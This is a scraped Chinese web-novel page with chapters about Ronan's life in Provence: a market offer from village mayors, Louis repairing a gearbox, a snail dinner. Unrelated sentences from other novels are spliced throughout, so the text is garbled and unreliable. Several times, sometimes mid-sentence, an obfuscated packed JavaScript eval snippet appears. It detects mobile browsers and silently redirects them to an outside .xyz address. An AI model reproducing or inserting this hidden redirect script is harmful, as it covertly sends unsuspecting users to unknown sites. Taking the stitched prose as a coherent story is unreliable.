罗南表情更严肃了 “我需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860044|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要做什么?” “不需要特意做什么,来参加集市就好。”布兰科又补充了一句,“如果有媒体采访,尽量把卢尔马兰和你‘绑定’到一起,就像一提起你,村民们会马上想到粉红酒一样。” 罗南意外的挑了下眉毛。 我和粉红酒的绑定已经这么深了吗? 那如果是‘罗南’、‘粉红酒’和‘卢尔马兰’三种事物绑定到一起又会是什么样的呢? 他开始期待起来了。 “梅纳村那边——”罗南问出了一个关键问题。 布兰科摇了摇头 “我们不会干涉你做其他事,那是你的权利。” 罗南双手抱胸,甚至不用怎么思考就有了答案。 如果不考虑人流量,他肯定更想参加卢尔马兰的市集。 旅行季的道路太拥堵了,在自己村子里卖东西可以省去来回的好几个小时时间。 布兰科不仅不干预他去其他村子参加集 市,还要花钱给他做宣传这完全没有拒绝的理由。 但是—— 罗南装作很为难的叹了一口气,同时余光看向父亲的方向 “其实我很喜欢参加卢尔马兰的集市,一月和二月一直在那里卖松露,现在只去梅纳村只是因为我的精力不够。” 爸爸,你还在犹豫什么? 罗南又指了指外面的葡萄园,痛心疾首的说 “我有很多其他的事情要做,每周参与一个集市已经是我的极限,太多应付不过来,恐怕——” “不不不,等等等!”冯珍意外打断了他们的谈话。 她先瞪了一眼罗南,似乎在骂 两个村长一起求你,还摆谱呢? 之后又瞪了一眼罗天海 你脑袋坏了吗?还犹豫?! 最后,她笑脸相迎的对两位村长说 “这么大的事情,容我们考虑一下,复活节后再答复你们可以吗?” 罗南默默在心里给母亲竖起一个大拇指。 关键时刻,还是妈妈更给力啊! 第87章 狂欢派对 被囚者的悲鸣,不管多惨,多深刻,从被打下罪恶烙印的那一刻起,都会被置若罔闻。 罗尼在后面好笑的看着两人,人家军队围在在这里,岂容你说两句就被辩倒的,道理再大也不及拳头。 “爹,你这是怎么了?这么好的机会,为什么要放了他。”林海恼怒道。 一声声清脆之音响起,一枚枚麟片钉在了这冰层上面密密麻麻足有上千。 地址说起来似乎有些绕口,但其实挺好找,拐进西角门,几簇新开的腊梅就已经迫不及待随风跟萧锦瑟招起手来。 青玥其实真正气的,是南长卿每次亲近她时,她都没有反抗。不是不能,而是本能的,喜欢南长卿的靠近。从一开始,不排斥。 这一球所发出的声响异于平时击球时的清脆声,犹如一道重击鼓般的沉闷的声响,让得所有人瞳骤然紧缩。 下一刻,他就疑惑了起来,这里不是自己的家门口吗?巴里·艾伦向前一步。 林逸长出一口气,他本来也不想拉上个累赘,现在跟瘦猴走散了,他反而感觉轻松了许多。 “我们缺少帮手,现在露世且实力强大的超能力者、修仙者、修道者、修神者实在是寥寥无几。”狐妖杀手洁白无瑕如玉,声音魅惑动听,让人锤炼三尺。 “顾泽宇,我也没吃饭……”宋承锡不知道从哪里冒出来,贼兮兮的凑到两人面前。 玉倾欢也不知道谷主姐姐究竟打算要怎么办?纵使心中焦虑万分,现在也只能静观其变了。 “无论你是否相信,这个都是事实。其实皇后应该也想到今日我留你在这里,是有话要跟你说的。”毛乐言眸光明亮,随手拿起拔下发簪在烛火上一挑,那烛光便窜高了,照的毛乐言的脸红彤彤的,十分好看。 两票赞同,两票待定,可这并不是决定的关键,决定权还是在于……在于……王跃的心情。 庆王走后,太妃又拉着毛乐言说了许多话,其实话题都是围绕了毛乐言,也就是她的“师姐”,毛乐言只得又杜撰了许多事情,哄骗了过去。 她想了想,只是在张仁的脑门上点了点,随即微微一笑。她什么也不说,张仁却明白了她的意思,也陪着她呵呵的笑着。她轻叹一口气,收了张仁这么个徒弟,也不知道是该哭还是该笑了。 带头的那位大哥,随即招呼一声,领着一班手下按原路返回,哪知道转了一圈之后竟然又回到了原地。 “我听说你受伤了,就连忙赶过来了。”梁哲看着蓝向庭头上的纱布,心中又气又恨。 现如今,在弹幕中,不仅仅只有寒冰垃圾四字,更是有666的字眼参加在其中。 面具男子正打算安慰她几句,忽然听见一阵急促的脚步朝这个方向跑来,应该是先前杨甜的尖叫引起了其它人的注意,她现在衣衫不整的样子如果被其他人看到的话,不太合适。 “曼成,非是不信任于你,实则我们的时间不多了!”曹操对着边上的李典解释道。 一直注意着的老王爷,一把丢开儿子,下一刻就飞奔到了孙子跟前,“乖乖是不是困了困了就回去睡觉,你放心,爷爷不会让他再吵着你的。”也不管地上的儿子了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860045|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去哄孙子睡觉去了。 庞统没有理会他,把竹筒盖子取掉,拿出里面的皮质,打开一看。 “打造出了一支横扫天下的舰队?”所有的修者听闻后,内心都一阵澎湃,那是何等的辉煌与霸气? 这人的身影埋在了忽暗忽明的夜下空气中,脸容紧张,瞳孔中射出杀气。庞统觉得若不做点什么,很可能会大卸八块,大也不能像香异那样,连镖都在手里了。他得马上说话。 王昊琢磨着,看来还是得要找个工具翻墙进去了,可惜来的时候什么都没带,此时想要找起来。颇要费一番功夫了。 程逸新也转过身去,重新回到程逸奔的房间,这个时候除医生才刚刚开始帮程逸奔检查伤势,程逸奔穿着衣服的时候不知道,一脱了上身的衣服,程逸新便被他身上触目惊心的淤青色的伤痕吓了一大跳。 “人族叶天,接到总部的信息通知之后,为什么不赶紧复命?!”叶天刚刚进入战争基地,就响起了刺耳的鸣警声,紧接着一名异族男子,也是战争基地这边的负责人就立马现身,冷声喝问道。 白宛梅也不再多说什么了,对于裴诗茵,这一次她的表现已经够大度的了。 “不用说求字,股份本来就是你的,我还给你就是了。”陆依黎淡淡的说,语气中有着淡不痛在蔓延,她从来也不在乎这些股份,这么多年了,这些股份也一直只是安放在她的帐户里,没有动过一丝一毫。 大地在震动,墨林军团面对十倍敌人,直指插入敌人心脏,那绿红色的利箭,那久违的声响再次出现,战神的鼓声已经敲响。 第88章 噩梦 “窦天王也知道程教头如何打仗。”众人以为王伏宝在刻意拍大伙马屁。笑着表示质疑。 “为大当家和九当家贺!”各位堂主、寨主们齐声响应,再度将酒碗举到半空。这下,张金称和程名振两个都没话可说了,举起酒碗轻轻碰了碰,一饮而尽。 而程重进和猎手二号双机沿着海岸线领海之上上空大约50公里这么一个区间以巡航速度搜索前行。 林庄这日热闹纷繁,林康平一家到的时候·村里像过年似的,又是锣鼓又是鞭炮的,还扭起了秧歌,这日不光是挂匾,还是学堂挂牌开学的日子,还要补办上梁酒,故而,全村的人都喜气洋洋的。 撒了秧苗·等待秧苗长成的时节,庄稼人见缝插针地安排了插山芋、栽黄豆等农活。 哪想李泰尽兴这一次,是害她第二天连床都下不来,正巧卢氏白天来探她,撞上她赖床,起先没说什么,临走才含含糊糊地劝了她一句,大概意思是房事做多了会伤身,要她悠着点。 这时,下面湖边的帐篷边,乌墁内拉却拼命挥动起手绢,就像告诉凤晴朗,她现了什么。 这般过了几日,陈演打叠起百般柔情,齐粟娘只是低头做家事,全然不理。到得第四日,陈演仍是前厅议事,齐粟娘在后院洗衣。她眉头微皱,一面将晾衣竹竿上的湿衣慢慢扯平,一面思索,终是叹了口气。 房间里,夜色朦胧,但这次应该算是他最清晰的看到亚袖和亚棉的样子了。 齐粟娘在屏风缝隙中见得如此,方明白陈演方才未叫那些衙役分粥喝,原是要等着这豆腐脑,想来是他们喝惯了,便也不在意。她的眼角儿穿过屏风间隙,越过前厅,隐约见得那门口挑着担子的人影,孝服长裙,甚是单薄。 “这么说来,我是来到了一个魔法的世界了?果然和我想的一样……”苏珺安静的听完安琪拉的叙述,顿时觉得大脑中的疑惑减轻了不少。 蓝羽将全身洗漱得干干净净,舒舒服服的坐在了客厅的沙里。这些日子,蓝羽转战南北忙活了几十天,她对自己的身体稀里糊涂没有太在意。现在,她忽然现了自己的身体、外形,开始有了明显的变化。 “我是医生,我来,你去看看那边。”张佗一听卦半仙伤的很重,脸色郁闷的神色更加深了,因为就是他指使卦半仙的。 “你的人呢,你当兵第一天吗?”沈铜大声的说道,牛飞应了一声向楼上跑去。 于是我和颖儿就近来到一家商场,我打算买些衣服之类带回去给我的父母,顺便也给自己买一身。我的衣服都是些部队的制服,穿回去不合适的。 我不断的在我周围寻找着,寻找着可以对付这个家伙的武器,枪是百分之百不行,而且不够锋利的刀也肯定不行,我唯一可以对付这家伙的匕首,也被这个家伙给打飞了。 当时他慢慢放下手,微笑温柔看看明镜疼爱揉着明台毛茸茸的头发,她抱得很紧,似乎在怕她一松手,她就会失去明台,失去这个最疼爱的弟弟。 原来,在驾驶舱里面的班先生和伊凡商量着如何处置眼前的危机。 柳园内一位不速之客已经来到。沈铜打晕一名保全换上了他的衣服,给他注入麻醉剂藏在了一个隐蔽的角落。然后不断地在柳园里寻找着可能存在的地下室入口。 直到他真的遇上一个法国男人,明凡仿佛发现新大陆般高兴笑了,看他的衣着应该不是坏人,更像个一个富家少爷,算了,大不了暂时没礼貌一次。 叶老夫人隔三差五将苏龄玉叫过来,或是赏赏花、听听曲儿,或是吃吃茶、品品香,又或者只是单纯的聊天说话,往往一呆就是一整日。 此时,她也不确定自己要干什么了,不禁犹豫着,目光依旧阴沉地盯着盛琰。 “不要跟我一起出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860046|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去!”拿回手机,夏以沫认真警告了三遍,不等他回应,率先跑出洗手间。 这是于一叶做出来的东西的标志,绝对有辨识性。因为到现在还没有什么东西有这么高的情节性,怎么都能够留下些什么。 不知多久,连瑾时手机响起来,他走远几步,接通,是连妈妈的电话。 经过长途飞行的奔波,让她有些憔悴,怀孕之后总是容易疲惫,身体也很不舒服。 很多的外国网民们将自己什么都没有怪罪在了政-府的贸易-保护主义上,说好的自由-贸易呢?我们现在只能是看着人家华夏用着好东西暗自羡慕。 “大家玩了一天,肯定很累了,早点回房间休息。”沈随心热情笑着开口,随后暧-昧地看了夏以沫一眼,想说什么,打住了。 看着眼前的烛院,庄柔是一阵无语,怎么还是来这间院子,难道这些太监都有同样的喜好不成? 看着林清晓慌慌张张的跑出去,北谨熙有些奇怪的盯着林千羽醉意朦胧的脸看着。 “我们认识这么多年对你来说难道是种煎熬,你一直想摆脱?”乔海把声音放的缓沉,盯着沐妍,一字一句的问道。 他像是一头凶王,浑身散发戾气,可怖滔天,给人的压力太大了,让人心神为之悸动,难以自禁。 而且因为舅家本来就还有两个差不多同龄的孩子,他们自己几乎都要照顾 不过来了,所以还单身着的范思,就给抓来当蓝梦的保镳。 这是百族战场的夜晚到了,虽然在天外之地看不出变化,但那变得更为清晰的星辰很好的验证了这一点。 众人连忙向城下看去,就见那个放上巨木的冲车架子,终于支撑不住,被压的粉碎。 冷美人心中愈发的苦涩了,想到王昊已死,眼圈又是一阵泛红,难过无比,不知道该如何将这个消息说出来。 第89章 别逼我要‘二胎\’ 现在的满清已经不是刚刚入关的时候的满清,那个时候的满清满打满算也不过是二三十万人,但是现在呢? 只是她不知道,现在的朱明正在一旁和那个她认为不说话、城府很深的姬玉儿在交流沟通。 她不希望这辈子和慕容进有牵扯,哪怕自己非常想要阿洵可以回到自己的身边,只要她不和慕容进在一起,阿洵就绝对不会有那样的结局。 这种修炼不能操之过急,一旦太过频繁的压榨自身,而导致补给跟不上的话,那么身体便会因为过度劳损而产生本源的虚耗,拖累修行不说,还有可能对**造成无法弥补的损害。 她也太没出息,这个男人明明就是耍着她玩,她还蠢得要死,汐月拿了背包头也不回就下车,然后气不过,回头狠狠地瞪了一眼容九,在他的哈哈大笑里转身离开。 “可是此次脱欢大举进兵鹞子岭,跟所谓的‘神迹’有关?”舒予略一沉思,便猜到了韩彦发问的缘由,遂轻声问道。 下一刻,秦皓将自身所有的力量,全部凝聚到右拳之上,冲天而起。 想到这里,邋遢老人周身的真气忽然再次游动全身,引得他周遭气息凌乱荡动起来。 胡大娘很好在家,见到汐月要借石磨,二话不说,就从自己的杂物间里翻出来一个石磨递给她。 容九忽然就感到爷爷老了,那种一夜之间世界都坍塌的感觉让他心情郁闷,爷爷曾经是自己心目中最强大的存在,只要爷爷在一天,那就是容家最强大的靠山和坚强的精神支柱,可是现在他才发觉爷爷真的老了。 既然勃艮第人在发现自己到来后,并没有做出“正常”的反应,那西秦一方就可以肯定勃艮第在贝尔福地区不止有这五千人,如若不然,换成谁也不可能这么有恃无恐。 以前他在罗西丁郡呆着时,大家都不觉得,但这次他出门两月,王国又值多事之秋,好象突然之间显露出他的重要性来。 “蝶儿,你怎么过来了?”严逸直起身来,收回眼神,做到非礼勿视。 徐长老年纪虽大,可是嗓门却是相当地响亮,在他元力的催动下,这声音可真是响彻云霄。 另外一些控植师布置下了少量土豆雷和两道坚果墙,能给他们再争取一点时间。 在他想来,叶鸣初来乍到,即使不会打扑克,也应该礼节性地陪他坐在这个豪华套房里,哪怕自己到沙发那边去喝茶都行,但没想到他却说要去兰园宾馆陪他的客人,怎不让他着恼? 周明就跟没事人儿似的,给王洪波打了一个电话,让他赶紧到商场来。 丹丘直到此时,才从震撼中惊醒过来,刚才风浪所凝聚出来的八荒烈火阵,实在是将他都唬得一愣一愣的。 纵然没有仔细地去数,可是沐龙回想了一下,只怕是有个数十招了,那三招之约,很明显是他输了。 为此,西山岛上的守备处人员不得不临时加大了对陆地丧尸的巡防力度。控植师们也多了一个任务,那就是每天早晚两趟,用异能将距离岛屿几十米外的冰层炸开。 金鱼给智秀喂了一点,智秀喝下去之后却没有什么变化,只是起身还想喝酒。 敲门声唤起了君懿熙的思绪,他的视线朝门口看去,门没有关上,刘安站在门口,对他浅浅一笑。 听了这句话,君懿熙在心里一笑,他们确实认识了很久了,只是他的这个身份才正式见面两次而已。 最后的结果自然是···玖老师一个燃烧&nbp;瓶扔出去,活活把蛔蛔给烧成了灵魂状态。 “我自己过去看看,你们不要跟着!我这里要是支撑不住,你们就赶紧跑吧!记住西北方向!”吴昭对众人说道。 吴昭身形转动,紧跟吉田的节奏,吉田转向哪个方向,他也紧紧相随。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860047|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 身后姚美萱筏筏地跟着,一脸因为说谎吓出了猪肝色,呵呵!既然已经吓成这般,不能说谎就住口呗!看在她心情还算不错,给你缓冲缓冲的时间,然后再打击的彻底。 知恩酱忽然陷入了回忆,甚至恍惚之间已经分不清自己现在到底在哪了,不知不觉中说了很多莫名其妙的话。 “原来如此,那你等着一会,我这就过去。”王太卡挂断电话起来打个哈欠,真的想回去睡一觉,人犯懒的时候真的是无解。不过还是忍着倦意启动车子,到外面去接蠢卡。 系统提示“主线任务六,最终任务,阻止阿萨夫爆破城市的计划。”系统刚刚下达本局游戏的最终任务,停靠在旧铁路场的火车便开动了,火车的终点便是城市,要是让这辆载着烈性炸弹的火车到达城市这局游戏就输了。 夜空皱着眉头,观察四周围的一切,刚刚他想要直接传送回根据地,却发现自己的飞雷神无法发动,令他明白附近的空间被人封锁了。 没有想到荣纯的表现是这么的完美,零分压制,这也让青道高中到目前为止仍旧牢牢的掌控住了比赛了主导权。 士兵都醒来后,他们将用积雪堆积起来的围墙踢倒,随后离开迷宫继续向后方前进。一千多人整齐的走在这白茫茫的雪地上,让这如死寂一般的苍茫雪地带来了一丝生气。 这下子,林泽的丹田就像是一颗生鸡 蛋一般,直接被放在了沸腾的热水中浸泡着,上上下下的不断翻滚着,并且,渐渐有熟的迹象。 庭院中当王凝之承认的时候就一阵唏嘘,现在又加上张禄的推波助澜,底下窃窃私语的声音就变大了起来。 “少夫人……”玉儿在旁边搀扶着她有些颤抖的身体,被她回以微笑制止,将里面的信件放在桌子上。 柳子衿有些骄傲,这一路上若非有她的保护,柳暗肯定会捡回去很多不三不四的人。 第90章 专业的事找专业的狗 两人沉吟片刻,当着锦兮的面,没有言语交流,只是眼神对了下。 灰色的鲜血洒落在空中,叶新的身体微微颤抖着,又抬起了冷冽的目光。 看着这个巨大的黑色虚影,黄裳却是从虚影之中感觉到了一种熟悉的气息。 正当若云在心里骂的热火朝天的时候,风玉楼终于想通了!既然来了,总要稍微亲近一下心上人才能回去的么,要不然这深更半夜的,这一趟不是白来了? 漫天金焰散去,大日光芒收敛,广陵城内的高温在下降,最后恢复到以往正常的水平。 就这样梁玉莹在林若云的有意相交下,和林若云成了密友。林若云也觉得梁玉莹实在是个难得的性情中人,就想着一定要把她勾来嫁了自己阿兄,谁知这事还没实施,若云就摊上事了,咋回事呢? 他也算见多识广了,可是一境双福地这种事情他却还只是在寿岳上看到过。 随手招出从那几个魔修那里得到的招魂幡和束魂藤,韩东林放在眼前看了看,这个招魂幡很普通,制作起来应该不难,相应的,也无法招收太强大的魂魄,不过招收控制普通人的魂魄却是足够了。 “怎么?”褚辞侧过身来看她,一丝不苟的衬衫搭配西裤,两条大长腿又直又性感。 下一刻,只见伴随着一道道黑色光辉的闪耀,一个顶天立地的巨人虚影也是出现在了黄裳的身后,并且同样握紧了手中的一柄巨斧,顺着黄裳的动作,将那巨斧狠狠地斩在了海水天罩之上。 这冷不丁的位面破成这样,还被引进了黄泉水,哪里看都不太对劲吧? “因为为夫给你准备了份礼物就在里面。”云昊天牵住了水伊人的手带着她往里走,不紧不慢的说道。 如今穆桐她又回来了,带着一身荣耀回来了,家中万事兴,穆家成为权贵,穆桐虽然身在京城,可那心却还在战场之上,在京城之中的这么长的一段时间,让穆桐清楚的认识到自己已经不再属于这个地方了。 同时韶华也感到了庆幸,幸亏当时王妃机敏,没有吃那点心,不然她怎么还有脸留在王妃的身边? 对于他们的前往,美其名曰想要练练手,毕竟在万战域好不容易晋升到那般高的境界,不拿出来练练手多可惜。 多少次的喜欢,隐藏到了眼睛里,却在他看过来的时候假装转头。 “惊鸿,你连爹都不认了吗?”容家主面子上过意不去,脸色也开始有了裂痕。 眼瞅着那二人越聊越亲近,越亲近越惺惺相惜,甚至还手挽手的坐到了一起。 这时,一双手扶着他将他按在了塌上,秦殇抬起头来,是宁夜的脸。 虽然陌凤夜与凤家之间有着关系,倒是令他们有些意外,但是,不可否认的,她却是得到了众多学子如此拥护和爱戴,甚至震慑了另外三大学院的学子,也算是极为难得了。 的确如此,听了服务员的话,楚彬不由得,点了点头,就像是他,也不太想被别人知道他的身份。 美与丑已经无法来形容,此刻的唐泽浑身散发着圣洁的感觉,深邃的眼眸配上那抹微笑,却又有点邪气森森的味道。 他并不是那种善于交友的人,也不是那种特别喜欢跟人交流的人。 每次去求都会被骂,到后来老道都懒得骂他了。他一提这事儿,老道就拿水泼他。 什么?你说什么?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860048|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟敢说我们会怕了你?会为自己的言语感到后悔? 自己还没出手吗?怎么感觉自己飞起来了,近距离观察天花板还是挺好看的。“彭”混混老大被狠狠的打飞在地。 比赛现场,双方的球员都已经入场,并且已经在中圈附近开始准备跳球。 薛鼎跟哈登的顺位、数据、战绩,两人最近的状态等等,通过媒体们的一通炒作,让这场比赛也很受欢迎。 厉凤竹微微颔首,伸出左手去稳定自己的右手,看这架势真像是在举一件千斤重物。 在酒店采访完球员记者从助教那里爆出了湖人明天的首发名单。 我睡得正香,他叫我的声音我能听到,可就是醒不过来,下意识觉得没事。朦胧中,我真感觉到有什么东西好像到了门口,在那里停了很长时间,最后没有进来,又走了。 对于雪绮班主任老师的这些话,我什么都不想多说,我只是警告她说,我无父无母,雪绮是我唯一的家人。谁要是动她,别说是几个老师几个家长,真惹怒了我我拼着倾家荡产坐牢的风险,拆了这学校也做得到。 如果你以为原句就是这样,那你又错了,“人之道,损不足以奉有余”的后面还有一句——孰能有余以奉天下?其唯有道者。 阎王进门的时候抬头往我藏身的隔间看了一眼,然后咧嘴笑了笑。 不管这家医院多复杂,不管刁院长和王大夫怎么争执,病人还是最大的,我凭肉眼觉得这汉子的脚可能真的可以手法复位,当然我还要看一下片子,这样才更清楚。 纳金蒂雅撇了撇嘴,把衣服扔给贺常,道:我怎么感觉你这句话说的这么憋屈呢?拜我为师委屈你了吗? 第91章 多面的路易 罗南以为路易只是说说而已。 变速箱坏了自己怎么修? 除非他之前除了农夫还干过汽车维修...... 但路易真的像模像样的钻到布满机油的汽车底部,罗南对修车毫无经验,他的工作是在驾驶室不停的挂档换挡,以确认路易有没有把车修好,再偶尔下车给他递一些工具。 “现在什么情况了?”罗南每隔一段就挂一次档,汽车底部会发出两个生锈齿轮毫无润滑挤压到一起的渗人摩擦声。 “我似乎知道哪里出问题了......”路易的声音从罗南脚下传来,“你挂一下三档。” 罗南听话的挂档,看到佐伊的脑袋在窗后出现,用口型问他‘是否需要帮助’。 罗南对她摇摇头,佐伊做了个‘祝你好运’的手势,离开了那里。 “三档还是挂不上。”罗南回了一句。 路易这辆车不是所有档位都挂不上,只有一三五档不行,二四档是好的。 车下又发出一连串恐怖声音,罗南忍不住问: “需不需要我把皮雷接来?” 卢尔马兰没有修车厂,谁家车坏了就把皮雷接来,他曾在阿普特的专业修车厂工作过。 但普罗旺斯人几乎不修车,这只是皮雷的‘爱好’,他的工作是和家人一起缝普罗旺斯传统绣被,是个不折不扣的手艺人。 “这点小毛病不需要找皮雷,上辆车一发动冒出比拖拉机还浓的黑烟,我还是把它搞定了。”路易激情澎湃的说。 “没错,你把它搞报废了。”莉亚拿着一筐衣服出来,面色阴沉的说,“它已经坏成那个样子,你还要在冬天强制启动它,点火的恐怖咆哮声持续了好几分钟,我以为德国人又来了,光着脚把佐伊抱出去,结果看到一个带着火的圆环从车下滚出来,一直滚到阿兰家才停下。” 阿兰家距离路易家步行有10分钟的路程。 佐伊的脑袋又在那个窗后出现,用嘴型告诉罗南: “他们早上吵架了。” 罗南缩了下脖子,示意她知道了。 路易的声音从车下出现: “车不开会坏的,那次它已经一周没启动过,我必须把它打着。” 莉亚把衣服筐放到院子里的水龙头下: “真是谢谢你,它原本可以再开好几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860049|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 之后她返回屋子,路过罗南的时候对他说: “我做了一些饼干,进去喝点咖啡吧。” 罗南尴尬的不知如何应对。 你们夫妻是逼着我站边吗? “快弄好了,我们马上进去。”不明情况的路易以为妻子在和他说话。 莉亚强挤出一个微笑,进屋了。 不知是路易突然对家庭关系有所感悟,还是想在罗南面前找回面子,滔滔不绝的讲起‘幸福婚姻’秘诀: “结婚时间长了,激情难免会退却,但我有一套维持‘激情’的秘诀,每过一段时间,就会想办法让莉亚崇拜我一次,帮她唤回‘那个男人真有魅力’的记忆。” 罗南和路易关系很好,开起玩笑来无需顾忌: “修车也是秘诀的一部分?” “哦,不不不,这只是个小毛病。”路易的语气严肃下来,“现在挂一档。” 罗南机械性的晃动手臂,丝滑的进档手感告诉他情况和之前不一样了。 “好像......”罗南又试了三档和五档,“我的上帝,可以挂上了,比之前的档位还要清晰。” 第92章 好兄弟【求追读!!!】 罗南主动和路易聊起他的房产中介工作,希望从中找到更多‘回答问题的技巧’。 他早该想到的,路易是周围朋友中最会说话的那个。 路易告诉罗南,普罗旺斯有非常多的优秀房产,这几年房屋交易量进入了‘井喷期’。 但想来这里购买房子的顾客来自法国各地,外国的也有很多。 他们的情况各不相同,需求也千奇百怪,想自己去看房子的已经算是‘正常’顾客了,但如果努力满足每一个人的需求,路易的工作量会多出好几倍。 所以他有一套自己的‘卖房模式’,无论遇到什么样的顾客,都把他们往模式里引导——先把客户约到办公室,在那里有更多‘合适’的房子等着他们,交易率会大大提升。 “你不怕顾客去找别的中介?”罗南心惊的问。 刚刚他们各聊各的时候,罗南真担心对方会突然挂掉电话。 路易舒服靠到身后的沙发上,微笑着说: “如果对方真的想买,这种情况的概率会很低,最多抱怨两句遇到了奇怪的中介,而且我的建议也没有错不是吗?先来办公室看看‘资料’,比跋山涉水去看一次高效多了。” “你放弃做农夫去卖房子,绝对一个正确的选择。”罗南由衷的夸赞。 农夫可不需要动这么多脑子。 莉亚的头突然从厨房里探出来: “罗南,你不是不会做蜗牛吗?要进来看看吗?” 罗南看了看莉亚,又看了看身边的路易。 你们不会是想把我卷入家庭战争里吧? ...... 罗南没想到做蜗牛那么费时。 在他进入厨房前,蜗牛已经在放有盐、月桂和百里香的水里煮了60分钟。 之后捞出,去除内脏,再把处理好的蜗牛裹满莉亚的秘制‘香草大蒜酱’——里面有大蒜、法芹、洋葱、柠檬汁和黄油。 最后把裹好酱汁的蜗牛塞回壳里,放入烤箱烤10分钟。 “很简单吧?看一次就会了。”莉亚把装面包的篮子递给罗南。 焗蜗牛的汤汁和面包是绝配! 罗南拿了一片面包,笑着说: “如果再抓到蜗牛,我还是会送到这里,即使我学会了,也一定没有你做的好吃。” 很显然,今天罗南学到不少‘说话的艺术’。 莉亚开心的晃了晃脑袋: “不吃蜗牛的时候也可以来,你知道的.....吃饭是一件很神圣的事情,一个人吃饭可不是什么好的体验。” 她对佐伊眨了眨眼睛: “对不对亲爱的?” 佐伊看向罗南: “下午要去为明天的集市做准备吗?” 罗南咬了一口面包: “是的,要去买猪肉和粉红酒,之后回家做准备。” 佐伊点点头: “如果下午干累了,不想做饭,晚上就过来吃饭。” 罗南叹了一口气: “我父母从巴黎带了很多吃的东西,我现在还在努力消灭它们。” 莉亚能理解子女不在身边父母的感受: “他们担心你一个人在普罗旺斯照顾不好自己......真是一对优秀的父母啊。” “不像某些人......”话风一转,她阴阳怪气的说。 路易加快了咀嚼速度,一声不吭。 罗南有些可怜这个男人。 路易是做了一些离谱的事,但他其他地方能力强啊。 比如修车,又比如赚钱。 在普罗旺斯卖掉一间房子佣金至少有5%,路易家在卢尔马兰绝对算得上是偏上的生活水平。 他决定帮一帮他的好兄弟。 “路易是个很厉害的人,他今天教了我很多东西。”罗南对莉亚说。 “他能教你什么?”莉亚瞥了丈夫一眼。 路易也看了过去。 我教罗南东西了? 我怎么不知道...... 罗南用眼神安慰了一下路易,之后对莉亚说: “明天我要接受媒体采访,路易传授了我一些回答问题的技巧,这几天我一直在为这件事情而苦恼,现在心里有些底气了。” 路易感激的看向罗南。 他一直在修车和打电话,哪里教过罗南什么应对媒体的技巧? 果然是好兄弟! 莉亚用奇怪的眼神看路易,她现在看路易非常不顺眼。 但罗南替路易说话了,她也不好再说什么。 这时低着头的佐伊开口了: “但是爸爸,你早上把维埃里的足球比赛裤当工作裤穿上,弄得全是机油,维埃里晚上回来说不定会哭.....他期待了那场比赛好久。” 路易还是不敢吭声,求助的看向罗南。 兄弟,帮帮我! 罗南摸了下鼻子,闷头吃饭: “那是有点过分了......过分了。” 